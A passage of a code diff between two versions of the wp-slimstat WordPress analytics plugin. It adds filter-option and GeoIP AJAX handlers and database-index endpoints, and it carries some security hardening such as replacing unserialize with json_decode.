\n-        try {\n-            $geographicProvider = new GeoService();\n+        \u002F\u002F Get distinct non-empty values\n+        $column_type = wp_slimstat_db::$columns_names[$dimension][1];\n \n-            $result = $geographicProvider->checkDatabase();\n+        \u002F\u002F Build SQL query directly to avoid Query class interference with global filters\n+        $where_clauses = [];\n+\n+        \u002F\u002F Apply time range filter\n+        if (!empty($time_start) && !empty($time_end)) {\n+            $where_clauses[] = $GLOBALS['wpdb']->prepare('dt BETWEEN %d AND %d', intval($time_start), intval($time_end));\n+        }\n+\n+        if ($column_type === 'varchar') {\n+            \u002F\u002F Exclude NULLs and empty strings for varchar columns\n+            $where_clauses[] = $safe_dimension . ' IS NOT NULL';\n+            $where_clauses[] = $safe_dimension . \" \u003C> ''\";\n+        } else {\n+            \u002F\u002F Exclude NULLs and zeros for numeric columns\n+            $where_clauses[] = $safe_dimension . ' IS NOT NULL';\n+            $where_clauses[] = $safe_dimension . ' \u003C> 0';\n+        }\n+\n+        $where_sql = !empty($where_clauses) ? 'WHERE ' . implode(' AND ', $where_clauses) : '';\n+\n+        $sql = sprintf(\n+            'SELECT DISTINCT %s as value FROM %s %s ORDER BY %s ASC LIMIT %d',\n+            $safe_dimension,\n+            $table_name,\n+            $where_sql,\n+            $safe_dimension,\n+            $limit\n+        );\n+\n+        \u002F\u002F Execute query\n+        $results = $GLOBALS['wpdb']->get_results($sql, ARRAY_A);\n+\n+        \u002F\u002F Check for database errors\n+        if ($GLOBALS['wpdb']->last_error) {\n+            wp_send_json_error('Database query failed');\n+            return;\n+        }\n+\n+        \u002F\u002F Ensure results is an array\n+        if (!is_array($results)) {\n+            $results = [];\n+        }\n+\n+        $options = [];\n+        $seen_values = []; \u002F\u002F Track values to prevent duplicates (case-insensitive)\n+        $dimensions_with_icons = ['country', 'browser', 'language', 'platform', 'username'];\n+        $has_icons = in_array($dimension, $dimensions_with_icons, true);\n+\n+        foreach ($results as $row) {\n+            if (!empty($row['value'])) {\n+                \u002F\u002F Sanitize output to prevent XSS\n+                $sanitized_value = sanitize_text_field($row['value']);\n+\n+                \u002F\u002F Trim whitespace\n+                $sanitized_value = trim($sanitized_value);\n+\n+                \u002F\u002F Skip empty values after trimming\n+                if (empty($sanitized_value)) {\n+                    continue;\n+                }\n+\n+                \u002F\u002F Check for duplicates using case-insensitive comparison\n+                $value_key = strtolower($sanitized_value);\n+                if (isset($seen_values[$value_key])) {\n+                    continue; \u002F\u002F Skip duplicate\n+                }\n+\n+                \u002F\u002F Mark this value as seen\n+                $seen_values[$value_key] = true;\n+\n+                \u002F\u002F Limit individual option length to prevent DOM issues\n+                if (strlen($sanitized_value) > 255) {\n+                    $sanitized_value = substr($sanitized_value, 0, 255) . '...';\n+                }\n+\n+                if ($has_icons) {\n+                    \u002F\u002F Return object with value and icon\n+                    $icon_url = self::get_filter_icon_url($dimension, $sanitized_value);\n+\n+                    \u002F\u002F For username, get user gravatar\n+                    if ($dimension === 'username' && empty($icon_url)) {\n+                        $user = get_user_by('login', $sanitized_value);\n+                        if ($user) {\n+                            $icon_url = get_avatar_url($user->ID, ['size' => 32]);\n+                        } else {\n+                            $icon_url = get_avatar_url($sanitized_value, ['size' => 32]);\n+                        }\n+                    }\n+\n+                    $options[] = [\n+                        'value' => $sanitized_value,\n+                        'label' => $sanitized_value,\n+                        'icon' => $icon_url\n+                    ];\n+                } else {\n+                    \u002F\u002F Return simple string for backward compatibility\n+                    $options[] = $sanitized_value;\n+                }\n+            }\n+        }\n+\n+        wp_send_json_success($options);\n+        exit();\n+    }\n+\n+    \u002F\u002F END: get_filter_options\n+\n+\tpublic static function update_geoip_database()\n+\t{\n+\t\tcheck_ajax_referer('slimstat_geoip_action', 'security');\n+\n+\t\tif (!current_user_can(\\wp_slimstat::$settings['capability_can_admin'])) {\n+\t\t\twp_send_json_error(__('Permission denied', 'wp-slimstat'));\n+\t\t\treturn;\n+\t\t}\n+\n+\t\ttry {\n+\t\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+            if ('cloudflare' === $provider) {\n+                wp_send_json_success(__('Cloudflare geolocation does not require a database.', 'wp-slimstat'));\n+            }\n+\n+            \u002F\u002F License validation is handled by the MaxMind provider; do not pre-check here\n+\n+            $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+            $ok      = $service->updateDatabase();\n+\n+\t\t\tif ($ok) {\n+                wp_send_json_success(__('GeoIP Database Successfully Updated!', 'wp-slimstat'));\n+            } else {\n+                \u002F\u002F Log the error for debugging\n+\t\t\t\t$error_message = __('Failed to update GeoIP Database.', 'wp-slimstat');\n+\t\t\t\tif ('maxmind' === $provider) {\n+\t\t\t\t\t$error_message .= ' ' . __('Please check your MaxMind license key and try again.', 'wp-slimstat');\n+\t\t\t\t}\n+\t\t\t\t$geoip_error = get_option('slimstat_geoip_error', []);\n+\t\t\t\tif (!empty($geoip_error) && !empty($geoip_error['error'])) {\n+\t\t\t\t\t$error_message .= ' ' . sprintf(__('Details: %s', 'wp-slimstat'), $geoip_error['error']);\n+\t\t\t\t}\n+\t\t\t\twp_send_json_error($error_message);\n+            }\n+        } catch (\\Exception $exception) {\n+            wp_send_json_error($exception->getMessage());\n+        }\n+    }\n+\n+\tpublic static function check_geoip_database()\n+\t{\n+\t\tcheck_ajax_referer('slimstat_geoip_action', 'security');\n+\n+\t\tif (!current_user_can(\\wp_slimstat::$settings['capability_can_admin'])) {\n+\t\t\twp_send_json_error(__('Permission denied', 'wp-slimstat'));\n+\t\t\treturn;\n+\t\t}\n+\n+\t\ttry {\n+\t\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+            if ('cloudflare' === $provider) {\n+                wp_send_json_success(__('Cloudflare geolocation is active. No database to check.', 'wp-slimstat'));\n+            }\n+            $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+            $exists  = file_exists($service->getProvider()->getDbPath());\n+            $result  = [ 'notice' => $exists ? __('GeoIP Database is present and ready.', 'wp-slimstat') : __('GeoIP Database not found.', 'wp-slimstat') ];\n \n             wp_send_json_success($result['notice']);\n         } catch (\\Exception $exception) {\n@@ -1268,9 +2170,16 @@\n             $screen = get_current_screen();\n \n             if (stristr($screen->id, 'slimview')) {\n-                wp_enqueue_script('feedbackbird-widget', 'https:\u002F\u002Fcdn.jsdelivr.net\u002Fgh\u002Ffeedbackbird\u002Fassets@master\u002Fwp\u002Fapp.js?uid=01H5FBKA9Z5M2VJWQXZSX4Q7MS');\n-                wp_add_inline_script('feedbackbird-widget', sprintf('var feedbackBirdObject = %s;', json_encode([\n-                    'user_email' => function_exists('wp_get_current_user') ? wp_get_current_user()->user_email : '',\n+                wp_register_script('feedbackbird-widget', 'https:\u002F\u002Fcdn.jsdelivr.net\u002Fgh\u002Ffeedbackbird\u002Fassets@master\u002Fwp\u002Fapp.js?uid=01H5FBKA9Z5M2VJWQXZSX4Q7MS', [], null, true);\n+                add_filter('script_loader_tag', function ($tag, $handle) {\n+                    if ('feedbackbird-widget' === $handle) {\n+                        $tag = str_replace('\u003Cscript ', '\u003Cscript defer ', $tag);\n+                    }\n+                    return $tag;\n+                }, 10, 2);\n+                wp_enqueue_script('feedbackbird-widget');\n+                wp_add_inline_script('feedbackbird-widget', sprintf('var feedbackBirdObject = %s;', wp_json_encode([\n+                    'user_email' => function_exists('wp_get_current_user') ? esc_attr(wp_get_current_user()->user_email) : '',\n                     'platform'   => 'wordpress-admin',\n                     'config'     => [\n                         'color'         => '#e8294c',\n@@ -1301,9 +2210,9 @@\n \n     public static function get_template($template, $args = [], $return = false)\n     {\n-        \u002F\u002F Push Args\n+        \u002F\u002F Push Args - use EXTR_SKIP to prevent variable overwriting for security\n         if (is_array($args) && isset($args)) :\n-            extract($args);\n+            extract($args, EXTR_SKIP);\n         endif;\n \n         \u002F\u002F Check Load single file or array list\n@@ -1329,7 +2238,7 @@\n             \u002F\u002F include File\n             include $template_file;\n         }\n-        \n+\n         return null;\n     }\n \n@@ -1345,7 +2254,6 @@\n         if (empty(\\wp_slimstat_reports::$reports[$_report_id]['callback_args']) || !array_key_exists('raw', \\wp_slimstat_reports::$reports[$_report_id]['callback_args'])) {\n             return $_header_buttons;\n         }\n-\n         $utm_medium = empty($_report_id) ? 'report-unknown' : $_report_id;\n         return '\u003Ca class=\"slimstat-upgrade-pro slimstat-filter-link slimstat-filter-temp button-export-to-xls slimstat-font-download is-not-pro noslimstat\" title=\"' . __('Upgrade to Pro', 'wp-slimstat-pro') . '\" href=\"https:\u002F\u002Fwp-slimstat.com\u002Fpricing\u002F?utm_source=admin&utm_medium=' . $utm_medium . '&utm_campaign=export\" target=\"_blank\">\u003Cspan class=\"dashicons dashicons-download\">\u003C\u002Fspan>' . __('Export', 'wp-slimstat-pro') . '\u003C\u002Fa> ' . $_header_buttons;\n     }\n@@ -1355,9 +2263,285 @@\n         if (isset($_GET['page']) && ('slimlayout' === $_GET['page'] || 'slimconfig' === $_GET['page'])) {\n             return self::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]);\n         }\n-        \n+\n         return null;\n     }\n-}\n \n+    public static function ajax_add_country_dt_index()\n+    {\n+        check_ajax_referer('slimstat_add_country_dt_index');\n+        global $wpdb;\n+        $table     = $wpdb->prefix . 'slim_stats';\n+        $has_index = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %s WHERE Key_name = 'idx_country_dt'\", $table));\n+        if ($has_index && count($has_index) > 0) {\n+            update_option('slimstat_country_dt_indexed', 'yes');\n+            wp_send_json_success(__('Index already exists.', 'wp-slimstat'));\n+        }\n+        $result = $wpdb->query(sprintf('CREATE INDEX idx_country_dt ON %s (country, dt)', $table));\n+        if (false !== $result) {\n+            update_option('slimstat_country_dt_indexed', 'yes');\n+            wp_send_json_success(__('Index added successfully.', 'wp-slimstat'));\n+        } else {\n+            wp_send_json_error(__('Unable to add index or it already exists.', 'wp-slimstat'));\n+        }\n+    }\n+\n+    public static function register_country_dt_index_hooks()\n+    {\n+        add_action('wp_ajax_slimstat_add_country_dt_index', [self::class, 'ajax_add_country_dt_index']);\n+    }\n+\n+    public static function ajax_add_dt_screen_index()\n+    {\n+        check_ajax_referer('slimstat_add_dt_screen_index');\n+        global $wpdb;\n+        $table      = $wpdb->prefix . 'slim_stats';\n+        $index_name = 'idx_dt_screen_width_screen_height';\n+        $has_index  = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %s WHERE Key_name = '%s'\", $table, $index_name));\n+        if ($has_index && count($has_index) > 0) {\n+            update_option('slimstat_dt_screen_indexed', 'yes');\n+            wp_send_json_success(__('Index already exists.', 'wp-slimstat'));\n+        }\n+        $result = $wpdb->query(sprintf('CREATE INDEX %s ON %s (dt, screen_width, screen_height)', $index_name, $table));\n+        if (false !== $result) {\n+            update_option('slimstat_dt_screen_indexed', 'yes');\n+            wp_send_json_success(__('Index added successfully.', 'wp-slimstat'));\n+        } else {\n+            wp_send_json_error(__('Unable to add index or it already exists.', 'wp-slimstat'));\n+        }\n+    }\n+\n+    public static function register_dt_screen_index_hooks()\n+    {\n+        add_action('wp_ajax_slimstat_add_dt_screen_index', [self::class, 'ajax_add_dt_screen_index']);\n+    }\n+\n+    public static function ajax_add_dt_browser_index()\n+    {\n+        check_ajax_referer('slimstat_add_dt_browser_index');\n+        global $wpdb;\n+        $table      = $wpdb->prefix . 'slim_stats';\n+        $index_name = 'idx_dt_browser_browser_version';\n+        $has_index  = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %s WHERE Key_name = '%s'\", $table, $index_name));\n+        if ($has_index && count($has_index) > 0) {\n+            update_option('slimstat_dt_browser_indexed', 'yes');\n+            wp_send_json_success(__('Index already exists.', 'wp-slimstat'));\n+        }\n+        $result = $wpdb->query(sprintf('CREATE INDEX %s ON %s (dt, browser, browser_version)', $index_name, $table));\n+        if (false !== $result) {\n+            update_option('slimstat_dt_browser_indexed', 'yes');\n+            wp_send_json_success(__('Index added successfully.', 'wp-slimstat'));\n+        } else {\n+            wp_send_json_error(__('Unable to add index or it already exists.', 'wp-slimstat'));\n+        }\n+    }\n+\n+    public static function register_dt_browser_index_hooks()\n+    {\n+        add_action('wp_ajax_slimstat_add_dt_browser_index', [self::class, 'ajax_add_dt_browser_index']);\n+    }\n+\n+    public static function ajax_add_dt_platform_index()\n+    {\n+        check_ajax_referer('slimstat_add_dt_platform_index');\n+        global $wpdb;\n+        $table      = $wpdb->prefix . 'slim_stats';\n+        $index_name = 'idx_dt_platform';\n+        $has_index  = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %s WHERE Key_name = '%s'\", $table, $index_name));\n+        if ($has_index && count($has_index) > 0) {\n+            update_option('slimstat_dt_platform_indexed', 'yes');\n+            wp_send_json_success(__('Index already exists.', 'wp-slimstat'));\n+        }\n+        $result = $wpdb->query(sprintf('CREATE INDEX %s ON %s (dt, platform)', $index_name, $table));\n+        if (false !== $result) {\n+            update_option('slimstat_dt_platform_indexed', 'yes');\n+            wp_send_json_success(__('Index added successfully.', 'wp-slimstat'));\n+        } else {\n+            wp_send_json_error(__('Unable to add index or it already exists.', 'wp-slimstat'));\n+        }\n+    }\n+\n+    public static function register_dt_platform_index_hooks()\n+    {\n+        add_action('wp_ajax_slimstat_add_dt_platform_index', [self::class, 'ajax_add_dt_platform_index']);\n+    }\n+\n+    public static function ajax_add_dt_out_index()\n+    {\n+        global $wpdb;\n+        check_ajax_referer('slimstat_add_dt_out_index');\n+\n+        $table      = $wpdb->prefix . 'slim_stats';\n+        $index_name = 'idx_dt_out';\n+        $has_index  = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %s WHERE Key_name = '%s'\", $table, $index_name));\n+        if ($has_index && count($has_index) > 0) {\n+            update_option('slimstat_dt_out_indexed', 'yes');\n+            wp_send_json_success(__('Index already exists.', 'wp-slimstat'));\n+        }\n+\n+        $result = $wpdb->query(sprintf('CREATE INDEX %s ON %s (dt_out)', $index_name, $table));\n+        if ($result) {\n+            update_option('slimstat_dt_out_indexed', 'yes');\n+            wp_send_json_success(__('Index added successfully.', 'wp-slimstat'));\n+        }\n+        wp_send_json_error(__('Unable to add index or it already exists.', 'wp-slimstat'));\n+    }\n+\n+    public static function register_dt_out_index_hooks()\n+    {\n+        add_action('wp_ajax_slimstat_add_dt_out_index', [self::class, 'ajax_add_dt_out_index']);\n+    }\n+\n+    public static function show_indexes_notice()\n+    {\n+\t\t\u002F\u002F If new migration system is active, suppress legacy performance notice\n+\t\tif (class_exists(\\SlimStat\\Migration\\Admin\\MigrationAdmin::class)) {\n+\t\t\treturn;\n+\t\t}\n+\n+        if (!current_user_can('manage_options')) {\n+            return;\n+        }\n+        $indexes = [\n+            [\n+                'option' => 'slimstat_dt_out_indexed',\n+                'id'     => 'dt-out',\n+                'label'  => __('Currently Online Reports', 'wp-slimstat'),\n+                'desc'   => __('Index on \u003Ccode>dt_out\u003C\u002Fcode>', 'wp-slimstat'),\n+                'key'    => 'idx_dt_out',\n+                'ajax'   => 'slimstat_add_dt_out_index',\n+                'btn'    => __('Apply', 'wp-slimstat'),\n+            ],\n+            [\n+                'option' => 'slimstat_country_dt_indexed',\n+                'id'     => 'country-dt',\n+                'label'  => __('World Map & Country Reports', 'wp-slimstat'),\n+                'desc'   => __('Index on \u003Ccode>country\u003C\u002Fcode> and \u003Ccode>dt\u003C\u002Fcode>', 'wp-slimstat'),\n+                'key'    => 'idx_country_dt',\n+                'ajax'   => 'slimstat_add_country_dt_index',\n+                'btn'    => __('Apply', 'wp-slimstat'),\n+            ],\n+            [\n+                'option' => 'slimstat_dt_screen_indexed',\n+                'id'     => 'dt-screen',\n+                'label'  => __('Screen Resolution Reports', 'wp-slimstat'),\n+                'desc'   => __('Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>screen_width\u003C\u002Fcode>, \u003Ccode>screen_height\u003C\u002Fcode>', 'wp-slimstat'),\n+                'key'    => 'idx_dt_screen_width_screen_height',\n+                'ajax'   => 'slimstat_add_dt_screen_index',\n+                'btn'    => __('Apply', 'wp-slimstat'),\n+            ],\n+            [\n+                'option' => 'slimstat_dt_browser_indexed',\n+                'id'     => 'dt-browser',\n+                'label'  => __('Browser Reports', 'wp-slimstat'),\n+                'desc'   => __('Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>browser\u003C\u002Fcode>, \u003Ccode>browser_version\u003C\u002Fcode>', 'wp-slimstat'),\n+                'key'    => 'idx_dt_browser_browser_version',\n+                'ajax'   => 'slimstat_add_dt_browser_index',\n+                'btn'    => __('Apply', 'wp-slimstat'),\n+            ],\n+            [\n+                'option' => 'slimstat_dt_platform_indexed',\n+                'id'     => 'dt-platform',\n+                'label'  => __('Platform Reports', 'wp-slimstat'),\n+                'desc'   => __('Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>platform\u003C\u002Fcode>', 'wp-slimstat'),\n+                'key'    => 'idx_dt_platform',\n+                'ajax'   => 'slimstat_add_dt_platform_index',\n+                'btn'    => __('Apply', 'wp-slimstat'),\n+            ],\n+        ];\n+\n+        $pending = array_filter($indexes, function ($idx) {\n+            global $wpdb;\n+            $exists = $wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%s'\", $wpdb->prefix, $idx['key']));\n+            return empty($exists);\n+        });\n+        if ([] === $pending) {\n+            return;\n+        }\n+        $ajax_url = admin_url('admin-ajax.php');\n+\n+        \u002F\u002F Generate nonces for each AJAX action\n+        $nonces = [];\n+        foreach ($pending as $idx) {\n+            $nonces[$idx['ajax']] = wp_create_nonce($idx['ajax']);\n+        }\n+\n+        echo '\u003Cdiv class=\"notice slimstat-indexes-notice slimstat-notice\" style=\"border-left: 6px solid #0073aa; background: #fff; box-shadow: 0 2px 8px #0001; padding: 24px 24px 16px 24px; margin-bottom: 24px; position: relative; min-width: 400px; max-width: 700px;\">';\n+        echo '\u003Ch2 style=\"margin-top:0; font-size:1.3em; color:#0073aa;\">' . __('Improve SlimStat Report Performance', 'wp-slimstat') . '\u003C\u002Fh2>';\n+        echo '\u003Cp style=\"margin-bottom:18px;\">' . __('To speed up SlimStat reports, please apply the following database optimizations. These changes are safe and will not affect your data.', 'wp-slimstat') . '\u003C\u002Fp>';\n+        echo '\u003Cul id=\"slimstat-index-list\" style=\"list-style:none; margin:0 0 18px 0; padding:0;\">';\n+        foreach ($pending as $idx) {\n+            echo '\u003Cli id=\"slimstat-index-' . $idx['id'] . '\" style=\"margin-bottom:12px; display:flex; align-items:center;\">'\n+                . '\u003Cdiv style=\"flex:1 1 0;\">'\n+                . '\u003Cdiv class=\"slimstat-index-label\" style=\"font-weight:600;\">' . $idx['label'] . '\u003C\u002Fdiv>'\n+                . '\u003Cdiv class=\"slimstat-index-desc\" style=\"color:#666; font-size:0.97em; margin-top:2px;\">' . $idx['desc'] . '\u003C\u002Fdiv>'\n+                . '\u003C\u002Fdiv>'\n+                . '\u003Cspan class=\"slimstat-index-lamp\" style=\"margin-left:18px; min-width:30px; display:inline-block; font-size:1.5em; vertical-align:middle;\">'\n+                . '\u003Cspan class=\"dashicons dashicons-lightbulb\" style=\"color:#ccc;\">\u003C\u002Fspan>'\n+                . '\u003C\u002Fspan>'\n+                . '\u003Cspan class=\"slimstat-index-status\" style=\"margin-left:10px; min-width:120px; display:inline-block;\">\u003C\u002Fspan>'\n+                . '\u003C\u002Fli>';\n+        }\n+        echo '\u003C\u002Ful>';\n+        echo '\u003Cdiv id=\"slimstat-index-progress-bar\" style=\"height:8px; background:#e5e5e5; border-radius:4px; overflow:hidden; margin-bottom:10px;\">'\n+            . '\u003Cdiv id=\"slimstat-index-progress\" style=\"height:100%; width:0; background:linear-gradient(90deg,#0073aa,#00c3aa); transition:width 0.4s;\">\u003C\u002Fdiv>'\n+            . '\u003C\u002Fdiv>';\n+        echo '\u003Cbutton class=\"button button-primary\" id=\"slimstat-apply-all\" style=\"margin-bottom:10px; min-width:120px; font-size:1.1em;\">' . __('Apply All', 'wp-slimstat') . '\u003C\u002Fbutton>';\n+        echo '\u003Cdiv style=\"color:#888; font-size:0.95em;\">' . __('Do not close this tab until all optimizations are complete.', 'wp-slimstat') . '\u003C\u002Fdiv>';\n+        echo '\u003C\u002Fdiv>';\n+        ?>\n+        \u003Cscript>\n+        jQuery(function($){\n+            var indexes = \u003C?php echo wp_json_encode(array_values($pending)); ?>;\n+            var nonces = \u003C?php echo wp_json_encode($nonces); ?>;\n+            var total = indexes.length, done = 0;\n+            function updateProgress() {\n+                var percent = Math.round((done\u002Ftotal)*100);\n+                $('#slimstat-index-progress').css('width', percent+'%');\n+                if (done === total) setTimeout(function(){ $('.slimstat-indexes-notice').fadeOut(); }, 2000);\n+            }\n+            function markDone(id) {\n+                var lamp = $('#slimstat-index-'+id+' .slimstat-index-lamp .dashicons');\n+                lamp.css('color','#ffc107'); \u002F\u002F yellow lamp\n+                lamp.addClass('slimstat-lamp-on');\n+                $('#slimstat-index-'+id).css('opacity',0.9);\n+            }\n+            $('#slimstat-apply-all').on('click', function(e){\n+                e.preventDefault();\n+                var btn = $(this);\n+                btn.prop('disabled', true);\n+                window.onbeforeunload = function(){ return '\u003C?php echo esc_js(__('Please wait for SlimStat optimizations to finish.', 'wp-slimstat')); ?>'; };\n+                function next(i) {\n+                    if (i >= indexes.length) {\n+                        window.onbeforeunload = null;\n+                        return;\n+                    }\n+                    var idx = indexes[i];\n+                    var li = $('#slimstat-index-'+idx.id);\n+                    li.find('.slimstat-index-status').html('\u003Cspan style=\"color:#0073aa;\">' + '\u003C?php echo esc_js(__('In progress...', 'wp-slimstat')); ?>' + '\u003C\u002Fspan> \u003Cspan class=\"spinner is-active\" style=\"float:none;display:inline-block;vertical-align:middle;\">\u003C\u002Fspan>');\n+                    $.post('\u003C?php echo $ajax_url; ?>', {\n+                        action: idx.ajax,\n+                        _ajax_nonce: nonces[idx.ajax]\n+                    }, function(response){\n+                        if (response.success) {\n+                            markDone(idx.id);\n+                            done++;\n+                            li.find('.slimstat-index-status').html('\u003Cspan style=\"color:green;\">' + '\u003C?php echo esc_js(__('Done!', 'wp-slimstat')); ?>' + '\u003C\u002Fspan>');\n+                            updateProgress();\n+                            next(i+1);\n+                        } else {\n+                            li.find('.slimstat-index-status').html('\u003Cspan style=\"color:red;\">' + '\u003C?php echo esc_js(__('Error: ', 'wp-slimstat')); ?>' + '\u003C\u002Fspan>' + (response.data || ''));\n+                            btn.prop('disabled', false);\n+                            window.onbeforeunload = null;\n+                        }\n+                    });\n+                }\n+                next(0);\n+            });\n+        });\n+        \u003C\u002Fscript>\n+        \u003C?php\n+    }\n+\n+}\n \u002F\u002F END: class declaration\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Faddons.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Faddons.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Faddons.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Faddons.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -27,7 +27,8 @@\n }\n \n $at_least_one_add_on_active = false;\n-$list_addons                = @unserialize($response['body']);\n+\u002F\u002F Security: Use JSON decode only to prevent PHP Object Injection\n+$list_addons                = json_decode($response['body'], true);\n \n if (!is_array($list_addons)) {\n     $error_message = __('There was an error decoding the add-ons list from the server. Please try again later.', 'wp-slimstat');\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview: email-report.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Findex.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Findex.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -3,13 +3,12 @@\n     exit();\n }\n \n-\u002F\u002F Load header\n-wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]);\n+use SlimStat\\Components\\DateRangeHelper;\n ?>\n \n \u003Cdiv class=\"backdrop-container\">\n     \u003Cdiv class=\"wrap slimstat\">\n-        \u003Ch2>\u003C?php echo isset($_GET['page']) && isset(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]) ? esc_html(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]['title']) : '' ?>\u003C\u002Fh2>\n+        \u003C?php wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]); ?>\n \n         \u003Cdiv class=\"notice slimstat-notice slimstat-tooltip-content\" style=\"background-color:#ffa;border:0;padding:10px\">\u003C?php _e('\u003Cstrong>AdBlock browser extension detected\u003C\u002Fstrong> - If you see this notice, it means that your browser is not loading our stylesheet and\u002For Javascript files correctly. This could be caused by an overzealous ad blocker feature enabled in your browser (AdBlock Plus and friends). \u003Ca href=\"https:\u002F\u002Fwp-slimstat.com\u002Fresources\u002Fthe-reports-are-not-being-rendered-correctly-or-buttons-do-not-work\" target=\"_blank\">Please make sure to add an exception\u003C\u002Fa> to your configuration and allow the browser to load these assets.', 'wp-slimstat'); ?>\u003C\u002Fdiv>\n \n@@ -27,7 +26,9 @@\n }\n $filter_operator_html .= '\u003C\u002Fselect>\u003C\u002Fdiv>';\n \n-$filter_value_html = '\u003Cdiv class=\"form-field\">\u003Cinput type=\"text\" class=\"text\" name=\"v\" id=\"slimstat-filter-value\" value=\"\" size=\"20\">\u003C\u002Fdiv>';\n+$filter_value_html = '\u003Cdiv class=\"form-field\">\n+    \u003Cinput type=\"text\" class=\"text\" name=\"v\" id=\"slimstat-filter-value\" value=\"\" size=\"20\">\n+\u003C\u002Fdiv>';\n \n if ('on' == wp_slimstat::$settings['enable_sov']) {\n     echo $filter_value_html . $filter_operator_html . $filter_name_html;\n@@ -39,103 +40,72 @@\n \n $saved_filters = get_option('slimstat_filters', []);\n if (!empty($saved_filters)) {\n-    echo '\u003Ca href=\"#\" id=\"slimstat-load-saved-filters\" class=\"button-secondary noslimstat\" title=\"Saved Filters\">' . __('Load', 'wp-slimstat') . '\u003C\u002Fa>';\n+    echo '\u003Ca href=\"#\" id=\"slimstat-load-saved-filters\" class=\"button-secondary noslimstat\" title=\"Saved Filters\">' . __('Saved Filters', 'wp-slimstat') . '\u003C\u002Fa>';\n }\n ?>\u003C\u002Ffieldset>\u003C!-- #slimstat-filters -->\n \n             \u003Cfieldset id=\"slimstat-date-filters\" class=\"wp-ui-highlight\">\n-                \u003Ca href=\"#\" class=\"noslimstat\">\u003C?php\n-    if (!empty(wp_slimstat_db::$filters_normalized['date']['hour']) || !empty(wp_slimstat_db::$filters_normalized['date']['interval_hours'])) {\n-        echo gmdate(get_option('date_format') . ' ' . get_option('time_format'), wp_slimstat_db::$filters_normalized['utime']['start']) . ' - ';\n-\n-        $end_format = (date('Ymd', wp_slimstat_db::$filters_normalized['utime']['start']) !== date('Ymd', wp_slimstat_db::$filters_normalized['utime']['end'])) ? get_option('date_format') . ' ' . get_option('time_format') : get_option('time_format');\n-        echo gmdate($end_format, wp_slimstat_db::$filters_normalized['utime']['end']);\n-    } else {\n-        $start_date = gmdate(get_option('date_format'), wp_slimstat_db::$filters_normalized['utime']['start']);\n-        $end_date   = gmdate(get_option('date_format'), wp_slimstat_db::$filters_normalized['utime']['end']);\n-\n-        if ($start_date === $end_date) {\n-            echo ucwords($start_date);\n-        } else {\n-            echo ucwords($start_date) . ' &ndash; ' . ucwords($end_date);\n-        }\n-    }\n-?>\u003C\u002Fa>\n-                \u003Cdiv class=\"dropdown\">\n-                    \u003Cdiv id=\"slimstat-quick-filters\">\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -1') ?>\">\u003C?php _e('Today', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals yesterday&&&interval equals -1') ?>\">\u003C?php _e('Yesterday', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -7') ?>\">\u003C?php _e('Last 7 Days', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -14') ?>\">\u003C?php _e('Last 2 weeks', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo 